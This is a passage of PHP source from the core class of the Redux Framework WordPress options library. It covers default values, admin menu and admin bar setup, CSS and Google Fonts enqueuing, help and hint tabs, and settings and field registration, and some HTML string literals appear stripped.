is_numeric( $sk ) || ! isset ( $section['title'] ) ) { $section['id'] = $sk; } else { $section['id'] = sanitize_title( $section['title'], $sk ); } $this->sections[ $sk ] = $section; } if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $k => $field ) { if ( empty ( $field['id'] ) && empty ( $field['type'] ) ) { continue; } if ( in_array( $field['type'], array( 'ace_editor' ) ) && isset ( $field['options'] ) ) { $this->sections[ $sk ]['fields'][ $k ]['args'] = $field['options']; unset ( $this->sections[ $sk ]['fields'][ $k ]['options'] ); } if ( $field['type'] == "section" && isset ( $field['indent'] ) && $field['indent'] == "true" ) { $field['class'] = isset ( $field['class'] ) ? $field['class'] : ''; $field['class'] .= " redux-section-indent-start"; $this->sections[ $sk ]['fields'][ $k ] = $field; } $this->field_default_values( $field ); } } } } /** * filter 'redux/options/{opt_name}/defaults' * * @param array $defaults option default values */ $this->transients['changed_values'] = isset ( $this->transients['changed_values'] ) ? $this->transients['changed_values'] : array(); $this->options_defaults = apply_filters( "redux/options/{$this->args['opt_name']}/defaults", $this->options_defaults, $this->transients['changed_values'] ); return $this->options_defaults; } /** * Set default options on admin_init if option doesn't exist * * @since 1.0.0 * @access public * @return void */ private function _default_cleanup() { // Fix the global variable name if ( $this->args['global_variable'] == "" && $this->args['global_variable'] !== false ) { $this->args['global_variable'] = str_replace( '-', '_', $this->args['opt_name'] ); } // Force dev_mode on WP_DEBUG = true and if it's a local server if ( Redux_Helpers::isLocalHost() || ( Redux_Helpers::isWpDebug() ) ) { if ( $this->args['dev_mode'] != true ) { $this->args['update_notice'] = false; } $this->dev_mode_forced = true; $this->args['dev_mode'] = true; // if ( isset( $this->args['forced_dev_mode_off'] ) && $this->args['forced_dev_mode_off'] == true ) { // $this->dev_mode_forced = false; // $this->args['dev_mode'] = false; // } } if ( isset( $this->args['customizer_only'] ) && $this->args['customizer_only'] == true ) { $this->args['menu_type'] = 'hidden'; $this->args['customizer'] = true; $this->args['admin_bar'] = false; $this->args['allow_sub_menu'] = false; } // Check if the Airplane Mode plugin is installed if ( class_exists( 'Airplane_Mode_Core' ) ) { $airplane = Airplane_Mode_Core::getInstance(); if ( method_exists( $airplane, 'enabled' ) ) { if ( $airplane->enabled() ) { $this->args['use_cdn'] = false; } } else if ( $airplane->check_status() == 'on' ) { $this->args['use_cdn'] = false; } } } /** * Class Add Sub Menu Function, creates options submenu in Wordpress admin area. * * @since 3.1.9 * @access private * @return void */ private function add_submenu( $page_parent, $page_title, $menu_title, $page_permissions, $page_slug ) { global $submenu; // Just in case. One never knows. $page_parent = strtolower( $page_parent ); $test = array( 'index.php' => 'dashboard', 'edit.php' => 'posts', 'upload.php' => 'media', 'link-manager.php' => 'links', 'edit.php?post_type=page' => 'pages', 'edit-comments.php' => 'comments', 'themes.php' => 'theme', 'plugins.php' => 'plugins', 'users.php' => 'users', 'tools.php' => 'management', 'options-general.php' => 'options', ); if ( isset ( $test[ $page_parent ] ) ) { $function = 'add_' . $test[ $page_parent ] . '_page'; $this->page = $function ( $page_title, $menu_title, $page_permissions, $page_slug, array( $this, 'generate_panel' ) ); } else { // Network settings and Post type menus. These do not have // wrappers and need to be appened to using add_submenu_page. // Okay, since we've left the post type menu appending // as default, we need to validate it, so anything that // isn't post_type= doesn't get through and mess // things up. $addMenu = false; if ( 'settings.php' != $page_parent ) { // Establish the needle $needle = '?post_type='; // Check if it exists in the page_parent (how I miss instr) $needlePos = strrpos( $page_parent, $needle ); // It's there, so... if ( $needlePos > 0 ) { // Get the post type. $postType = substr( $page_parent, $needlePos + strlen( $needle ) ); // Ensure it exists. if ( post_type_exists( $postType ) ) { // Set flag to add the menu page $addMenu = true; } // custom menu } elseif ( isset ( $submenu[ $this->args['page_parent'] ] ) ) { $addMenu = true; } else { global $menu; foreach ( $menu as $menupriority => $menuitem ) { $needle_menu_slug = isset ( $menuitem ) ? $menuitem[2] : false; if ( $needle_menu_slug != false ) { // check if the current needle menu equals page_parent if ( strcasecmp( $needle_menu_slug, $page_parent ) == 0 ) { // found an empty parent menu $addMenu = true; } } } } } else { // The page_parent was settings.php, so set menu add // flag to true. $addMenu = true; } // Add the submenu if it's permitted. if ( true == $addMenu ) { // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme. $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permissions, $page_slug, array( &$this, 'generate_panel' ) ); } } } /** * Class Options Page Function, creates main options page. * * @since 1.0.0 * @access public * @return void */ public function _options_page() { if ( $this->args['menu_type'] == 'hidden' ) { // No menu to add! } else if ( $this->args['menu_type'] == 'submenu' ) { $this->add_submenu( $this->args['page_parent'], $this->args['page_title'], $this->args['menu_title'], $this->args['page_permissions'], $this->args['page_slug'] ); } else { // Theme-Check notice is displayed for WP.org theme devs, informing them to NOT use this. $this->page = call_user_func( 'add_menu_page', $this->args['page_title'], $this->args['menu_title'], $this->args['page_permissions'], $this->args['page_slug'], array( &$this, 'generate_panel' ), $this->args['menu_icon'], $this->args['page_priority'] ); if ( true === $this->args['allow_sub_menu'] ) { foreach ( $this->sections as $k => $section ) { $canBeSubSection = ( $k > 0 && ( ! isset ( $this->sections[ ( $k ) ]['type'] ) || $this->sections[ ( $k ) ]['type'] != "divide" ) ) ? true : false; if ( ! isset ( $section['title'] ) || ( $canBeSubSection && ( isset ( $section['subsection'] ) && $section['subsection'] == true ) ) ) { continue; } if ( isset ( $section['submenu'] ) && $section['submenu'] == false ) { continue; } if ( isset ( $section['customizer_only'] ) && $section['customizer_only'] == true ) { continue; } if ( isset ( $section['hidden'] ) && $section['hidden'] == true ) { continue; } if ( isset( $section['permissions'] ) && ! self::current_user_can( $section['permissions'] ) ) { continue; } // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme. call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['title'], $this->args['page_permissions'], $this->args['page_slug'] . '&tab=' . $k, //create_function( '$a', "return null;" ) '__return_null' ); } // Remove parent submenu item instead of adding null item. remove_submenu_page( $this->args['page_slug'], $this->args['page_slug'] ); } } add_action( "load-{$this->page}", array( &$this, '_load_page' ) ); } // _options_page() /** * Add admin bar menu * * @since 3.1.5.16 * @access public * @global $menu , $submenu, $wp_admin_bar * @return void */ public function _admin_bar_menu() { global $menu, $submenu, $wp_admin_bar; if ( ! is_super_admin() || ! is_admin_bar_showing() || ! $this->args['admin_bar'] || $this->args['menu_type'] == 'hidden' ) { return; } if ( $menu ) { foreach ( $menu as $menu_item ) { if ( isset ( $menu_item[2] ) && $menu_item[2] === $this->args["page_slug"] ) { // Fetch the title $title = empty ( $this->args['admin_bar_icon'] ) ? $menu_item[0] : '' . $menu_item[0]; $nodeargs = array( 'id' => $menu_item[2], 'title' => $title, 'href' => admin_url( 'admin.php?page=' . $menu_item[2] ), 'meta' => array() ); $wp_admin_bar->add_node( $nodeargs ); break; } } if ( isset ( $submenu[ $this->args["page_slug"] ] ) && is_array( $submenu[ $this->args["page_slug"] ] ) ) { foreach ( $submenu[ $this->args["page_slug"] ] as $index => $redux_options_submenu ) { $subnodeargs = array( 'id' => $this->args["page_slug"] . '_' . $index, 'title' => $redux_options_submenu[0], 'parent' => $this->args["page_slug"], 'href' => admin_url( 'admin.php?page=' . $redux_options_submenu[2] ), ); $wp_admin_bar->add_node( $subnodeargs ); } } // Let's deal with external links if ( isset ( $this->args['admin_bar_links'] ) ) { if ( ! $this->args['dev_mode'] && $this->omit_admin_items ) { return; } // Group for Main Root Menu (External Group) $wp_admin_bar->add_node( array( 'id' => $this->args["page_slug"] . '-external', 'parent' => $this->args["page_slug"], 'group' => true, 'meta' => array( 'class' => 'ab-sub-secondary' ) ) ); // Add Child Menus to External Group Menu foreach ( $this->args['admin_bar_links'] as $link ) { if ( ! isset ( $link['id'] ) ) { $link['id'] = $this->args["page_slug"] . '-sub-' . sanitize_html_class( $link['title'] ); } $externalnodeargs = array( 'id' => $link['id'], 'title' => $link['title'], 'parent' => $this->args["page_slug"] . '-external', 'href' => $link['href'], 'meta' => array( 'target' => '_blank' ) ); $wp_admin_bar->add_node( $externalnodeargs ); } } } else { // Fetch the title $title = empty ( $this->args['admin_bar_icon'] ) ? $this->args['menu_title'] : '' . $this->args['menu_title']; $nodeargs = array( 'id' => $this->args["page_slug"], 'title' => $title, 'href' => admin_url( 'admin.php?page=' . $this->args["page_slug"] ), 'meta' => array() ); $wp_admin_bar->add_node( $nodeargs ); } } // _admin_bar_menu() /** * Output dynamic CSS at bottom of HEAD * * @since 3.2.8 * @access public * @return void */ public function _output_css() { if ( $this->args['output'] == false && $this->args['compiler'] == false ) { return; } if ( isset ( $this->no_output ) ) { return; } if ( ! empty ( $this->outputCSS ) && ( $this->args['output_tag'] == true || ( isset ( $_POST['customized'] ) ) ) ) { echo ''; } } /** * Enqueue CSS and Google fonts for front end * * @since 1.0.0 * @access public * @return void */ public function _enqueue_output() { if ( $this->args['output'] == false && $this->args['compiler'] == false ) { return; } /** @noinspection PhpUnusedLocalVariableInspection */ foreach ( $this->sections as $k => $section ) { if ( isset ( $section['type'] ) && ( $section['type'] == 'divide' ) ) { continue; } if ( isset ( $section['fields'] ) ) { /** @noinspection PhpUnusedLocalVariableInspection */ foreach ( $section['fields'] as $fieldk => $field ) { if ( isset ( $field['type'] ) && $field['type'] != "callback" ) { $field_class = "ReduxFramework_{$field['type']}"; if ( ! class_exists( $field_class ) ) { if ( ! isset ( $field['compiler'] ) ) { $field['compiler'] = ""; } /** * Field class file * filter 'redux/{opt_name}/field/class/{field.type} * * @param string field class file * @param array $field field config data */ $class_file = apply_filters( "redux/{$this->args['opt_name']}/field/class/{$field['type']}", self::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file && file_exists( $class_file ) && ! class_exists( $field_class ) ) { /** @noinspection PhpIncludeInspection */ require_once $class_file; } } if ( ! empty ( $this->options[ $field['id'] ] ) && class_exists( $field_class ) && method_exists( $field_class, 'output' ) && $this->_can_output_css( $field ) ) { $field = apply_filters( "redux/field/{$this->args['opt_name']}/output_css", $field ); if ( ! empty ( $field['output'] ) && ! is_array( $field['output'] ) ) { $field['output'] = array( $field['output'] ); } $value = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : ''; $enqueue = new $field_class ( $field, $value, $this ); if ( ( ( isset ( $field['output'] ) && ! empty ( $field['output'] ) ) || ( isset ( $field['compiler'] ) && ! empty ( $field['compiler'] ) ) || $field['type'] == "typography" || $field['type'] == "icon_select" ) ) { $enqueue->output(); } } } } } } // For use like in the customizer. Stops the output, but passes the CSS in the variable for the compiler if ( isset ( $this->no_output ) ) { return; } if ( ! empty ( $this->typography ) && ! empty ( $this->typography ) && filter_var( $this->args['output'], FILTER_VALIDATE_BOOLEAN ) ) { $version = ! empty ( $this->transients['last_save'] ) ? $this->transients['last_save'] : ''; $typography = new ReduxFramework_typography ( null, null, $this ); if ( $this->args['async_typography'] && ! empty ( $this->typography ) ) { $families = array(); foreach ( $this->typography as $key => $value ) { $families[] = $key; } ?> args['disable_google_fonts_link'] ) { $protocol = ( ! empty ( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ) ? "https:" : "http:"; //echo ''; wp_register_style( 'redux-google-fonts-' . $this->args['opt_name'], $protocol . $typography->makeGoogleWebfontLink( $this->typography ), '', $version ); wp_enqueue_style( 'redux-google-fonts-' . $this->args['opt_name'] ); } } } // _enqueue_output() /** * Enqueue CSS/JS for options page * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue() { require_once 'core/enqueue.php'; $enqueue = new reduxCoreEnqueue ( $this ); $enqueue->init(); } // _enqueue() /** * Show page help * * @since 1.0.0 * @access public * @return void */ public function _load_page() { // Do admin head action for this page add_action( 'admin_head', array( &$this, 'admin_head' ) ); // Do admin footer text hook add_filter( 'admin_footer_text', array( &$this, 'admin_footer_text' ) ); $screen = get_current_screen(); if ( is_array( $this->args['help_tabs'] ) ) { foreach ( $this->args['help_tabs'] as $tab ) { $screen->add_help_tab( $tab ); } } // If hint argument is set, display hint tab if ( true == $this->show_hints ) { global $current_user; // Users enable/disable hint choice $hint_status = get_user_meta( $current_user->ID, 'ignore_hints' ) ? get_user_meta( $current_user->ID, 'ignore_hints', true ) : 'true'; // current page parameters $curPage = esc_attr( $_GET['page'] ); $curTab = '0'; if ( isset ( $_GET['tab'] ) ) { $curTab = esc_attr( $_GET['tab'] ); } // Default url values for enabling hints. $dismiss = 'true'; $s = __( 'Enable', 'redux-framework' ); // Values for disabling hints. if ( 'true' == $hint_status ) { $dismiss = 'false'; $s = __( 'Disable', 'redux-framework' ); } // Make URL $url = '' . $s . ' hints'; $event = __( 'moving the mouse over', 'redux-framework' ); if ( 'click' == $this->args['hints']['tip_effect']['show']['event'] ) { $event = __( 'clicking', 'redux-framework' ); } // Construct message $msg = sprintf( __( 'Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.', 'redux-framework' ), $event, strtolower( $s ) ) . '

    ' . $url; // Construct hint tab $tab = array( 'id' => 'redux-hint-tab', 'title' => __( 'Hints', 'redux-framework' ), 'content' => '

    ' . $msg . '

    ' ); $screen->add_help_tab( $tab ); } // Sidebar text if ( $this->args['help_sidebar'] != '' ) { // Specify users text from arguments $screen->set_help_sidebar( $this->args['help_sidebar'] ); } else { // If sidebar text is empty and hints are active, display text // about hints. if ( true == $this->show_hints ) { $screen->set_help_sidebar( '

    Redux Framework

    Hint Tooltip Preferences

    ' ); } } /** * action 'redux-load-page-{opt_name}' * * @deprecated * * @param object $screen WP_Screen */ do_action( "redux-load-page-{$this->args['opt_name']}", $screen ); // REMOVE /** * action 'redux/page/{opt_name}/load' * * @param object $screen WP_Screen */ do_action( "redux/page/{$this->args['opt_name']}/load", $screen ); } // _load_page() /** * Do action redux-admin-head for options page * * @since 1.0.0 * @access public * @return void */ public function admin_head() { /** * action 'redux-admin-head-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux-admin-head-{$this->args['opt_name']}", $this ); // REMOVE /** * action 'redux/page/{opt_name}/header' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->args['opt_name']}/header", $this ); } // admin_head() /** * Return footer text * * @since 2.0.0 * @access public * @return string $this->args['footer_credit'] */ public function admin_footer_text() { return $this->args['footer_credit']; } // admin_footer_text() /** * Return default output string for use in panel * * @since 3.1.5 * @access public * @return string default_output */ private function get_default_output_string( $field ) { $default_output = ""; if ( ! isset ( $field['default'] ) ) { $field['default'] = ""; } if ( ! is_array( $field['default'] ) ) { if ( ! empty ( $field['options'][ $field['default'] ] ) ) { if ( ! empty ( $field['options'][ $field['default'] ]['alt'] ) ) { $default_output .= $field['options'][ $field['default'] ]['alt'] . ', '; } else { // TODO: This serialize fix may not be the best solution. Look into it. PHP 5.4 error without serialize if ( ! is_array( $field['options'][ $field['default'] ] ) ) { $default_output .= $field['options'][ $field['default'] ] . ", "; } else { $default_output .= serialize( $field['options'][ $field['default'] ] ) . ", "; } } } else if ( ! empty ( $field['options'][ $field['default'] ] ) ) { $default_output .= $field['options'][ $field['default'] ] . ", "; } else if ( ! empty ( $field['default'] ) ) { if ( $field['type'] == 'switch' && isset ( $field['on'] ) && isset ( $field['off'] ) ) { $default_output .= ( $field['default'] == 1 ? $field['on'] : $field['off'] ) . ', '; } else { $default_output .= $field['default'] . ', '; } } } else { foreach ( $field['default'] as $defaultk => $defaultv ) { if ( ! empty ( $field['options'][ $defaultv ]['alt'] ) ) { $default_output .= $field['options'][ $defaultv ]['alt'] . ', '; } else if ( ! empty ( $field['options'][ $defaultv ] ) ) { $default_output .= $field['options'][ $defaultv ] . ", "; } else if ( ! empty ( $field['options'][ $defaultk ] ) ) { $default_output .= $field['options'][ $defaultk ] . ", "; } else if ( ! empty ( $defaultv ) ) { $default_output .= $defaultv . ', '; } } } if ( ! empty ( $default_output ) ) { $default_output = __( 'Default', 'redux-framework' ) . ": " . substr( $default_output, 0, - 2 ); } if ( ! empty ( $default_output ) ) { $default_output = '' . $default_output . '
    '; } return $default_output; } // get_default_output_string() public function get_header_html( $field ) { global $current_user; // Set to empty string to avoid wanrings. $hint = ''; $th = ""; if ( isset ( $field['title'] ) && isset ( $field['type'] ) && $field['type'] !== "info" && $field['type'] !== "section" ) { $default_mark = ( ! empty ( $field['default'] ) && isset ( $this->options[ $field['id'] ] ) && $this->options[ $field['id'] ] == $field['default'] && ! empty ( $this->args['default_mark'] ) && isset ( $field['default'] ) ) ? $this->args['default_mark'] : ''; // If a hint is specified in the field, process it. if ( isset ( $field['hint'] ) && ! '' == $field['hint'] ) { // Set show_hints flag to true, so helptab will be displayed. $this->show_hints = true; $hint = apply_filters( 'redux/hints/html', $hint, $field, $this->args ); // Get user pref for displaying hints. $metaVal = get_user_meta( $current_user->ID, 'ignore_hints', true ); if ( 'true' == $metaVal || empty ( $metaVal ) && empty( $hint ) ) { // Set hand cursor for clickable hints $pointer = ''; if ( isset ( $this->args['hints']['tip_effect']['show']['event'] ) && 'click' == $this->args['hints']['tip_effect']['show']['event'] ) { $pointer = 'pointer'; } $size = '16px'; if ( 'large' == $this->args['hints']['icon_size'] ) { $size = '18px'; } // In case docs are ignored. $titleParam = isset ( $field['hint']['title'] ) ? $field['hint']['title'] : ''; $contentParam = isset ( $field['hint']['content'] ) ? $field['hint']['content'] : ''; $hint_color = isset ( $this->args['hints']['icon_color'] ) ? $this->args['hints']['icon_color'] : '#d3d3d3'; // Set hint html with appropriate position css $hint = '
     
    '; } } if ( ! empty ( $field['title'] ) ) { if ( 'left' == $this->args['hints']['icon_position'] ) { $th = $hint . $field['title'] . $default_mark . ""; } else { $th = $field['title'] . $default_mark . "" . $hint; } } if ( isset ( $field['subtitle'] ) ) { $th .= '' . $field['subtitle'] . ''; } } if ( ! empty ( $th ) ) { $th = '
    ' . $th . '
    '; } $filter_arr = array( 'editor', 'ace_editor', 'info', 'section', 'repeater', 'color_scheme', 'social_profiles', 'css_layout' ); if ( $this->args['default_show'] == true && isset ( $field['default'] ) && isset ( $this->options[ $field['id'] ] ) && $this->options[ $field['id'] ] != $field['default'] && ! in_array( $field['type'], $filter_arr ) ) { $th .= $this->get_default_output_string( $field ); } return $th; } /** * Register Option for use * * @since 1.0.0 * @access public * @return void */ public function _register_settings() { // TODO - REMOVE // Not used by new sample-config, but in here for legacy builds // This is bad and can break things. Hehe. if ( ! function_exists( 'wp_get_current_user' ) ) { require_once ABSPATH . "wp-includes/pluggable.php"; } if ( $this->args['options_api'] == true ) { register_setting( $this->args['opt_name'] . '_group', $this->args['opt_name'], array( $this, '_validate_options' ) ); } if ( is_null( $this->sections ) ) { return; } if ( empty( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } $runUpdate = false; foreach ( $this->sections as $k => $section ) { if ( isset ( $section['type'] ) && $section['type'] == 'divide' ) { continue; } $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $section['panel'] ) && $section['panel'] == false ) { $display = false; } } // DOVY! Replace $k with $section['id'] when ready /** * filter 'redux-section-{index}-modifier-{opt_name}' * * @param array $section section configuration */ $section = apply_filters( "redux-section-{$k}-modifier-{$this->args['opt_name']}", $section ); /** * filter 'redux/options/{opt_name}/section/{section.id}' * * @param array $section section configuration */ if ( isset ( $section['id'] ) ) { $section = apply_filters( "redux/options/{$this->args['opt_name']}/section/{$section['id']}", $section ); } if ( empty ( $section ) ) { unset ( $this->sections[ $k ] ); continue; } if ( ! isset ( $section['title'] ) ) { $section['title'] = ""; } if ( isset ( $section['customizer_only'] ) && $section['customizer_only'] == true ) { $section['panel'] = false; $this->sections[ $k ] = $section; } $heading = isset ( $section['heading'] ) ? $section['heading'] : $section['title']; if ( isset ( $section['permissions'] ) ) { if ( ! self::current_user_can( $section['permissions'] ) ) { $this->hidden_perm_sections[] = $section['title']; foreach ( $section['fields'] as $num => $field_data ) { $field_type = $field_data['type']; if ( $field_type != 'section' || $field_type != 'divide' || $field_type != 'info' || $field_type != 'raw' ) { $field_id = $field_data['id']; $default = isset ( $this->options_defaults[ $field_id ] ) ? $this->options_defaults[ $field_id ] : ''; $data = isset ( $this->options[ $field_id ] ) ? $this->options[ $field_id ] : $default; $this->hidden_perm_fields[ $field_id ] = $data; } } continue; } } if ( ! $display || ! function_exists( 'add_settings_section' ) ) { $this->no_panel_section[ $k ] = $section; } else { add_settings_section( $this->args['opt_name'] . $k . '_section', $heading, array( &$this, '_section_desc' ), $this->args['opt_name'] . $k . '_section_group' ); } $sectionIndent = false; if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $fieldk => $field ) { if ( ! isset ( $field['type'] ) ) { continue; // You need a type! } if ( $field['type'] == "info" && isset( $field['raw_html'] ) && $field['raw_html'] == true ) { $field['type'] = "raw"; $field['content'] = $field['desc']; $field['desc'] = ""; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } else if ( $field['type'] == "info" ) { if ( ! isset( $field['full_width'] ) ) { $field['full_width'] = true; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } } if ( $field['type'] == "raw" ) { if ( isset( $field['align'] ) ) { $field['full_width'] = $field['align'] ? false : true; unset( $field['align'] ); } else if ( ! isset( $field['full_width'] ) ) { $field['full_width'] = true; } $this->sections[ $k ]['fields'][ $fieldk ] = $field; } /** * filter 'redux/options/{opt_name}/field/{field.id}' * * @param array $field field config */ $field = apply_filters( "redux/options/{$this->args['opt_name']}/field/{$field['id']}/register", $field ); $this->field_types[ $field['type'] ] = isset ( $this->field_types[ $field['type'] ] ) ? $this->field_types[ $field['type'] ] : array(); $this->field_sections[ $field['type'] ][ $field['id'] ] = $k; $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $field['panel'] ) && $field['panel'] == false ) { $display = false; } } if ( isset ( $field['customizer_only'] ) && $field['customizer_only'] == true ) { $display = false; } if ( isset ( $section['customizer'] ) ) { $field['customizer'] = $section['customizer']; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } if ( isset ( $field['permissions'] ) ) { if ( ! self::current_user_can( $field['permissions'] ) ) { $data = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : $this->options_defaults[ $field['id'] ]; $this->hidden_perm_fields[ $field['id'] ] = $data; continue; } } if ( ! isset ( $field['id'] ) ) { echo '

    No field ID is set.

    ';
                                    print_r( $field );
                                    echo "

    "; continue; } if ( isset ( $field['type'] ) && $field['type'] == "section" ) { if ( isset ( $field['indent'] ) && $field['indent'] == true ) { $sectionIndent = true; } else { $sectionIndent = false; } } if ( isset ( $field['type'] ) && $field['type'] == "info" && $sectionIndent ) { $field['indent'] = $sectionIndent; } $th = $this->get_header_html( $field ); $field['name'] = $this->args['opt_name'] . '[' . $field['id'] . ']'; // Set the default value if present $this->options_defaults[ $field['id'] ] = isset ( $this->options_defaults[ $field['id'] ] ) ? $this->options_defaults[ $field['id'] ] : ''; // Set the defaults to the value if not present $doUpdate = false; // Check fields for values in the default parameter if ( ! isset ( $this->options[ $field['id'] ] ) && isset ( $field['default'] ) ) { $this->options_defaults[ $field['id'] ] = $this->options[ $field['id'] ] = $field['default']; $doUpdate = true; // Check fields that hae no default value, but an options value with settings to // be saved by default } elseif ( ! isset ( $this->options[ $field['id'] ] ) && isset ( $field['options'] ) ) { // If sorter field, check for options as save them as defaults if ( $field['type'] == 'sorter' || $field['type'] == 'sortable' ) { $this->options_defaults[ $field['id'] ] = $this->options[ $field['id'] ] = $field['options']; $doUpdate = true; } } // CORRECT URLS if media URLs are wrong, but attachment IDs are present. if ( $field['type'] == "media" ) { if ( isset ( $this->options[ $field['id'] ]['id'] ) && isset ( $this->options[ $field['id'] ]['url'] ) && ! empty ( $this->options[ $field['id'] ]['url'] ) && strpos( $this->options[ $field['id'] ]['url'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { $data = wp_get_attachment_url( $this->options[ $field['id'] ]['id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ]['url'] = $data; $data = wp_get_attachment_image_src( $this->options[ $field['id'] ]['id'], array( 150, 150 ) ); $this->options[ $field['id'] ]['thumbnail'] = $data[0]; $doUpdate = true; } } } if ( $field['type'] == "background" ) { if ( isset ( $this->options[ $field['id'] ]['media']['id'] ) && isset ( $this->options[ $field['id'] ]['background-image'] ) && ! empty ( $this->options[ $field['id'] ]['background-image'] ) && strpos( $this->options[ $field['id'] ]['background-image'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { $data = wp_get_attachment_url( $this->options[ $field['id'] ]['media']['id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ]['background-image'] = $data; $data = wp_get_attachment_image_src( $this->options[ $field['id'] ]['media']['id'], array( 150, 150 ) ); $this->options[ $field['id'] ]['media']['thumbnail'] = $data[0]; $doUpdate = true; } } } if ( $field['type'] == "slides" ) { if ( isset ( $this->options[ $field['id'] ] ) && is_array( $this->options[ $field['id'] ] ) && isset ( $this->options[ $field['id'] ][0]['attachment_id'] ) && isset ( $this->options[ $field['id'] ][0]['image'] ) && ! empty ( $this->options[ $field['id'] ][0]['image'] ) && strpos( $this->options[ $field['id'] ][0]['image'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { foreach ( $this->options[ $field['id'] ] as $key => $val ) { $data = wp_get_attachment_url( $val['attachment_id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ][ $key ]['image'] = $data; $data = wp_get_attachment_image_src( $val['attachment_id'], array( 150, 150 ) ); $this->options[ $field['id'] ][ $key ]['thumb'] = $data[0]; $doUpdate = true; } } } } // END -> CORRECT URLS if media URLs are wrong, but attachment IDs are present. if ( true == $doUpdate && ! isset ( $this->never_save_to_db ) ) { if ( $this->args['save_defaults'] ) { // Only save that to the DB if allowed to $runUpdate = true; } // elseif($this->saved != '' && $this->saved != false) { // $runUpdate = true; //} } if ( ! isset ( $field['class'] ) ) { // No errors please $field['class'] = ""; } $id = $field['id']; /** * filter 'redux-field-{field.id}modifier-{opt_name}' * * @deprecated * * @param array $field field config */ $field = apply_filters( "redux-field-{$field['id']}modifier-{$this->args['opt_name']}", $field ); // REMOVE LATER /** * filter 'redux/options/{opt_name}/field/{field.id}' * * @param array $field field config */ $field = apply_filters( "redux/options/{$this->args['opt_name']}/field/{$field['id']}", $field ); if ( empty ( $field ) || ! $field || $field == false ) { unset ( $this->sections[ $k ]['fields'][ $fieldk ] ); continue; } if ( ! empty ( $this->folds[ $field['id'] ]['parent'] ) ) { // This has some fold items, hide it by default $field['class'] .= " fold"; } if ( ! empty ( $this->folds[ $field['id'] ]['children'] ) ) { // Sets the values you shoe fold children on $field['class'] .= " foldParent"; } if ( ! empty ( $field['compiler'] ) ) { $field['class'] .= " compiler"; $this->compiler_fields[ $field['id'] ] = 1; } if ( isset ( $field['unit'] ) && ! isset ( $field['units'] ) ) { $field['units'] = $field['unit']; unset ( $field['unit'] ); } $this->sections[ $k ]['fields'][ $fieldk ] = $field; if ( isset ( $this->args['display_source'] ) ) { $th .= ''; $th .= '
    View Source'; } /** * action 'redux/options/{opt_name}/field/field.type}/register' */ do_action( "redux/options/{$this->args['opt_name']}/field/{$field['type']}/register", $field ); $this->check_dependencies( $field ); $this->field_head[ $field['id'] ] = $th; if ( ! $display || isset ( $this->no_panel_section[ $k ] ) ) { $this->no_panel[] = $field['id']; } else { if ( isset ( $field['hidden'] ) && $field['hidden'] ) { $field['label_for'] = 'redux_hide_field'; } if ( $this->args['options_api'] == true ) { add_settings_field( "{$fieldk}_field", $th, array( &$this, '_field_input' ), "{$this->args['opt_name']}{$k}_section_group", "{$this->args['opt_name']}{$k}_section", $field ); } } } } } /** * action 'redux-register-settings-{opt_name}' * * @deprecated */ do_action( "redux-register-settings-{$this->args['opt_name']}" ); // REMOVE /** * action 'redux/options/{opt_name}/register' * * @param array option sections */ do_action( "redux/options/{$this->args['opt_name']}/register", $this->sections ); if ( $runUpdate && ! isset ( $this->never_save_to_db ) ) { // Always update the DB with new fields $this->set_options( $this->options ); } if ( isset ( $this->transients['run_compiler'] ) && $this->transients['run_compiler'] ) { $this->no_output = true; $this->_enqueue_output(); /** * action 'redux-compiler-{opt_name}' * * @deprecated * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux-compiler-{$this->args['opt_name']}", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); // REMOVE /** * action 'redux/options/{opt_name}a' * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux/options/{$this->args['opt_name']}/compiler", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); /** * action 'redux/options/{opt_name}/compiler/advanced' * * @param array options * @param string CSS that get sent to the compiler hook, which sends the full Redux object */ do_action( "redux/options/{$this->args['opt_name']}/compiler/advanced", $this ); unset ( $this->transients['run_compiler'] ); $this->set_transients(); } } // _register_settings() /** * Register Extensions for use * * @since 3.0.0 * @access public * @return void */ private function _register_extensions() { $path = dirname( __FILE__ ) . '/inc/extensions/'; $folders = scandir( $path, 1 ); /** * action 'redux/extensions/before' * * @param object $this ReduxFramework */ do_action( "redux/extensions/before", $this ); /** * action 'redux/extensions/{opt_name}/before' * * @param object $this ReduxFramework */ do_action( "redux/extensions/{$this->args['opt_name']}/before", $this ); if ( isset( $this->old_opt_name ) ) { do_action( "redux/extensions/{$this->old_opt_name}/before", $this ); } foreach ( $folders as $folder ) { if ( $folder === '.' || $folder === '..' || ! is_dir( $path . $folder ) || substr( $folder, 0, 1 ) === '.' || substr( $folder, 0, 1 ) === '@' || substr( $folder, 0, 4 ) === '_vti' ) 